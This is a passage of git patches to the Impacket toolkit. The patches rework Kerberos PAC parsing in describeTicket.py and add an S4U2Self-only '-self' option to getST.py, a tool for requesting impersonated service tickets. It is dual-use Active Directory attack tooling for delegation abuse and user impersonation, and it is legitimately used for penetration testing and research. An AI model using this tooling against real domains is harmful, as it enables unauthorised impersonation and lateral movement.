PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') - parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') + parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') + parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') + parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') + parsed_data['ProfilePath'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') + parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') + parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') + parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) + parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) + parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) + parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) + parsed_data['UserFlags'] = PACinfiniteData(kerbdata.fields['UserFlags']) + parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') + parsed_data['LogonServer'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') + parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') parsed_data['LogonDomainId'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') parsed_data['UserAccountControl'] = PACinfiniteData(kerbdata.fields['UserAccountControl']) @@ -239,35 +262,61 @@ def PACparseResourceGroupDomainSid(data): parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) - parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) - parsed_data['GroupIds'] = PACparseGroupIds(kerbdata.fields['GroupIds']) + parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) + parsed_data['GroupIds'] = PACparseGroupIds(kerbdata.fields['GroupIds']) parsed_data['SidCount'] = PACinfiniteData(kerbdata.fields['SidCount']) parsed_data['ExtraSids'] = PACparseExtraSids(kerbdata.fields['ExtraSids']) parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) parsed_data['ResourceGroupCount'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) + parsed_tuPAC.append({"LoginInfo": parsed_data}) - parsed_tuPAC.append(parsed_data) elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: - type1 = TypeSerialization1(data) - # TODO: Not implemented - print(dir(type1)) - pass - elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: clientInfo = PAC_CLIENT_INFO(data) - # TODO: Not implemented - print(dir(clientInfo)) - pass - elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: - signatureData = PAC_SIGNATURE_DATA(data) - # TODO: Not implemented - print(dir(signatureData)) - pass + parsed_data = {} + # TODO : check client id it's probably wrong + parsed_data['Client Id'] = datetime.datetime.fromtimestamp(clientInfo.fields['ClientId']/1e8).strftime("%d/%m/%Y %H:%H:%S %p") + parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') + parsed_tuPAC.append({"ClientName": parsed_data}) + elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: upn = UPN_DNS_INFO(data) - # TODO: Not implemented - print(dir(upn)) - pass + # upn.dump() + parsed_data = {} + # todo, we don't have the same data as Rubeus + parsed_data['DNS Domain Name'] = 0 + parsed_data['UPN'] = 0 + parsed_data['Flags'] = 0 + parsed_tuPAC.append({"UpnDns": parsed_data}) + + elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + parsed_data = {} + parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name + parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') + parsed_tuPAC.append({"ServerChecksum": parsed_data}) + + elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + parsed_data = {} + parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name + # signatureData.dump() + parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') + parsed_tuPAC.append({"KDCChecksum": parsed_data}) + + elif infoBuffer['ulType'] == PAC_CREDENTIALS_INFO: + # todo + logging.debug("TODO: implement PAC_CREDENTIALS_INFO parsing") + + elif infoBuffer['ulType'] == PAC_DELEGATION_INFO: + delegationInfo = S4U_DELEGATION_INFO(data) + parsed_data = {} + parsed_data['S4U2proxyTarget'] = PACinfiniteData(delegationInfo.fields['S4U2proxyTarget']).decode('utf-16-le') + parsed_data['TransitedListSize'] = delegationInfo.fields['TransitedListSize'].fields['Data'] + parsed_data['S4UTransitedServices'] = PACinfiniteData(delegationInfo.fields['S4UTransitedServices']).decode('utf-16-le') + parsed_tuPAC.append({"DelegationInfo": parsed_data}) + + buff = buff[len(infoBuffer):] return parsed_tuPAC From ccdb6a26efb0ef909626bf39794e77ca5c10d8c2 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 30 Oct 2021 15:31:46 +0200 Subject: [PATCH 011/152] Improved PAC parsing and printing --- examples/describeTicket.py | 103 ++++++++++++------------------------- 1 file changed, 33 insertions(+), 70 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 6a2423a0f0..0a1d783a66 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -123,53 +123,12 @@ def parse_ccache(args): pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) # TODO : cycle through dict instead of line by line? Filter on type, if it list, for parsed_pac['LogonInfo']["GroupIds"] & parsed_pac['LogonInfo']["ExtraSids"] parsed_pac = parse_pac(pacType) - logging.info(" %-23s:" % ("LogonInfo")) - logging.info(" %-21s: %s" % ("LogonTime", parsed_pac['LogonInfo']["LogonTime"])) - logging.info(" %-21s: %s" % ("LogoffTime", parsed_pac['LogonInfo']["LogoffTime"])) - logging.info(" %-21s: %s" % ("KickOffTime", parsed_pac['LogonInfo']["KickOffTime"])) - logging.info(" %-21s: %s" % ("PasswordLastSet", parsed_pac['LogonInfo']["PasswordLastSet"])) - logging.info(" %-21s: %s" % ("PasswordCanChange", parsed_pac['LogonInfo']["PasswordCanChange"])) - logging.info(" %-21s: %s" % ("PasswordMustChange", parsed_pac['LogonInfo']["PasswordMustChange"])) - logging.info(" %-21s: %s" % ("EffectiveName", parsed_pac['LogonInfo']["EffectiveName"])) - logging.info(" %-21s: %s" % ("FullName", parsed_pac['LogonInfo']["FullName"])) - logging.info(" %-21s: %s" % ("LogonScript", parsed_pac['LogonInfo']["LogonScript"])) - logging.info(" %-21s: %s" % ("ProfilePath", parsed_pac['LogonInfo']["ProfilePath"])) - logging.info(" %-21s: %s" % ("HomeDirectory", parsed_pac['LogonInfo']["HomeDirectory"])) - logging.info(" %-21s: %s" % ("HomeDirectoryDrive", parsed_pac['LogonInfo']["HomeDirectoryDrive"])) - logging.info(" %-21s: %s" % ("LogonCount", parsed_pac['LogonInfo']["LogonCount"])) - logging.info(" %-21s: %s" % ("BadPasswordCount", parsed_pac['LogonInfo']["BadPasswordCount"])) - logging.info(" %-21s: %s" % ("UserId", parsed_pac['LogonInfo']["UserId"])) - logging.info(" %-21s: %s" % ("PrimaryGroupId", parsed_pac['LogonInfo']["PrimaryGroupId"])) - logging.info(" %-21s: %s" % ("GroupCount", parsed_pac['LogonInfo']["GroupCount"])) - logging.info(" %-21s: %s" % ("Groups", ', '.join([str(gid['RelativeId']) for gid in parsed_pac['LogonInfo']["GroupIds"]]))) - logging.info(" %-21s: %s" % ("UserFlags", parsed_pac['LogonInfo']["UserFlags"])) - logging.info(" %-21s: %s" % ("UserSessionKey", parsed_pac['LogonInfo']["UserSessionKey"])) - logging.info(" %-21s: %s" % ("LogonServer", parsed_pac['LogonInfo']["LogonServer"])) - logging.info(" %-21s: %s" % ("LogonDomainName", parsed_pac['LogonInfo']["LogonDomainName"])) - logging.info(" %-21s: %s" % ("LogonDomainId", parsed_pac['LogonInfo']["LogonDomainId"])) - # Todo parse UserAccountControl - logging.info(" %-21s: %s" % ("UserAccountControl", parsed_pac['LogonInfo']["UserAccountControl"])) - logging.info(" %-21s: %s" % ("ExtraSIDs", ', '.join([sid for sid in parsed_pac['LogonInfo']["ExtraSids"]]))) - logging.info(" %-21s: %s" % ("ResourceGroupCount", parsed_pac['LogonInfo']["ResourceGroupCount"])) - logging.info(" %-23s:" % ("ClientName")) - logging.info(" %-21s: %s" % ("Client Id", parsed_pac['ClientName']["Client Id"])) - logging.info(" %-21s: %s" % ("Client Name", parsed_pac['ClientName']["Client Name"])) - logging.info(" %-23s:" % ("DelegationInfo")) - logging.info(" %-21s: %s" % ("S4U2proxyTarget", parsed_pac['DelegationInfo']["S4U2proxyTarget"])) - logging.info(" %-21s: %s" % ("TransitedListSize", parsed_pac['DelegationInfo']["TransitedListSize"])) - logging.info(" %-21s: %s" % ("S4UTransitedServices", parsed_pac['DelegationInfo']["S4UTransitedServices"])) - logging.info(" %-23s:" % ("UpnDns")) - logging.info(" %-21s: %s" % ("DNS Domain Name", parsed_pac['UpnDns']["DNS Domain Name"])) - logging.info(" %-21s: %s" % ("UPN", parsed_pac['UpnDns']["UPN"])) - logging.info(" %-21s: %s" % ("Flags", parsed_pac['UpnDns']["Flags"])) - logging.info(" %-23s:" % ("ServerChecksum")) - logging.info(" %-21s: %s" % ("Signature Type", parsed_pac['ServerChecksum']["Signature Type"])) - logging.info(" %-21s: %s" % ("Signature", parsed_pac['ServerChecksum']["Signature"])) - logging.info(" %-23s:" % ("KDCChecksum")) - logging.info(" %-21s: %s" % ("Signature Type", parsed_pac['KDCChecksum']["Signature Type"])) - logging.info(" %-21s: %s" % ("Signature", parsed_pac['KDCChecksum']["Signature"])) - - + logging.info("%-25s:" % "Decrypted PAC") + for element_type in parsed_pac: + element_type_name = list(element_type.keys())[0] + logging.info(" %-23s:" % element_type_name) + for attribute in element_type[element_type_name]: + logging.info(" %-21s: %s" % (attribute, element_type[element_type_name][attribute])) def parse_pac(pacType): def format_sid(data): @@ -234,6 +193,14 @@ def PACparseResourceGroupDomainSid(data): kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} + parsed_data['LogonTime'] = PACparseFILETIME(kerbdata.fields['LogonTime']) + parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) + parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + parsed_data['LogoffTime'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) + parsed_data['KickOffTime'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) + parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) + parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) + parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') @@ -241,41 +208,37 @@ def PACparseResourceGroupDomainSid(data): parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) + parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) - parsed_data['UserFlags'] = PACinfiniteData(kerbdata.fields['UserFlags']) + parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) + parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['GroupIds'])]) + UserFlags = PACinfiniteData(kerbdata.fields['UserFlags']) + # todo parse UserFlags + parsed_data['UserFlags'] = "(%s) %s" % (UserFlags, "???") parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') parsed_data['LogonServer'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') parsed_data['LogonDomainId'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) - parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') - parsed_data['UserAccountControl'] = PACinfiniteData(kerbdata.fields['UserAccountControl']) - parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) - parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) - parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) - parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) - parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) - parsed_data['LogonTime'] = PACparseFILETIME(kerbdata.fields['LogonTime']) - parsed_data['LogoffTime'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) - parsed_data['KickOffTime'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) - parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) - parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) - parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) - parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) - parsed_data['GroupIds'] = PACparseGroupIds(kerbdata.fields['GroupIds']) - parsed_data['SidCount'] = PACinfiniteData(kerbdata.fields['SidCount']) - parsed_data['ExtraSids'] = PACparseExtraSids(kerbdata.fields['ExtraSids']) - parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) + UAC = PACinfiniteData(kerbdata.fields['UserAccountControl']) + # todo parse UAC + parsed_data['UserAccountControl'] = "(%s) %s" % (UAC, "???") + parsed_data['ExtraSIDCount'] = PACinfiniteData(kerbdata.fields['SidCount']) + parsed_data['ExtraSIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) parsed_data['ResourceGroupCount'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) - parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) + # parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') + # parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) + # parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) + # parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) + # parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) parsed_tuPAC.append({"LoginInfo": parsed_data}) elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: clientInfo = PAC_CLIENT_INFO(data) parsed_data = {} # TODO : check client id it's probably wrong - parsed_data['Client Id'] = datetime.datetime.fromtimestamp(clientInfo.fields['ClientId']/1e8).strftime("%d/%m/%Y %H:%H:%S %p") + parsed_data['Client Id'] = datetime.datetime.fromtimestamp(clientInfo.fields['ClientId']/1e8).strftime("%d/%m/%Y %H:%H:%S") parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) @@ -419,8 +382,8 @@ def parse_args(): group = parser.add_argument_group('Some account information') group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='placeholder') group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="PASSWORD", help='placeholder') - group.add_argument('-u', '--user', action="store", metavar="USER", help='placeholder') # used for kerberoast_from_ccache() - group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='placeholder') # used for kerberoast_from_ccache() + group.add_argument('-u', '--user', action="store", metavar="USER", help='placeholder') + group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='placeholder') group.add_argument('-s', '--salt', action="store", metavar="SALT", help='placeholder') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='placeholder') group.add_argument('-aesKey', action="store", metavar="hex key", help='placeholder') From 214c35642d30da47afab3952b40cd7f91028bedf Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 31 Oct 2021 17:51:01 +0100 Subject: [PATCH 012/152] Fixing the PAC_CLIENT_INFO structure --- examples/getST.py | 193 +++++++++++++++++++++++-------------------- impacket/krb5/pac.py | 5 +- 2 files changed, 107 insertions(+), 91 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index fa536ff1f0..6df3522714 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -79,6 +79,7 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None + self.__no_s4u2proxy = options.no_s4u2proxy if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -401,7 +402,10 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + if self.__no_s4u2proxy and self.__options.spn is not None: + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_UNKNOWN.value) + else: + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -502,120 +506,129 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) + if self.__no_s4u2proxy: + cipherText = tgs['enc-part']['cipher'] + plainText = cipher.decrypt(sessionKey, 8, cipherText) + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + return r, cipher, sessionKey, newSessionKey + else: + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encodedAuthenticator = encoder.encode(authenticator) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - encodedApReq = encoder.encode(apReq) + encodedApReq = encoder.encode(apReq) - tgsReq = TGS_REQ() + tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - reqBody = seq_set(tgsReq, 'req-body') + reqBody = seq_set(tgsReq, 'req-body') - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - cipherText = tgs['enc-part']['cipher'] + cipherText = tgs['enc-part']['cipher'] - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey + return r, cipher, sessionKey, newSessionKey def run(self): @@ -684,7 +697,7 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' @@ -693,6 +706,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' @@ -719,6 +733,9 @@ def run(self): options = parser.parse_args() + if not options.no_s4u2proxy and options.spn is None: + parser.error("argument -spn is required, except when -self is set") + # Init the example's logger theme logger.init(options.ts) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index f01bc47f85..5e9a42cc3b 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -173,11 +173,10 @@ class NTLM_SUPPLEMENTAL_CREDENTIAL(NDRSTRUCT): ) # 2.7 PAC_CLIENT_INFO -class PAC_CLIENT_INFO(Structure): +class PAC_CLIENT_INFO(NDRSTRUCT): structure = ( - ('ClientId', ' Date: Sun, 31 Oct 2021 19:06:20 +0100 Subject: [PATCH 013/152] Fixes dates, improved errors, prepared for PR --- examples/describeTicket.py | 276 +++++++++++++++++++++++-------------- 1 file changed, 170 insertions(+), 106 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0a1d783a66..e6e8071c11 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -14,12 +14,13 @@ # Remi Gascou (@podalirius_) # Charlie Bromberg (@_nwodtuhs) -import json import logging import sys import traceback import argparse import binascii 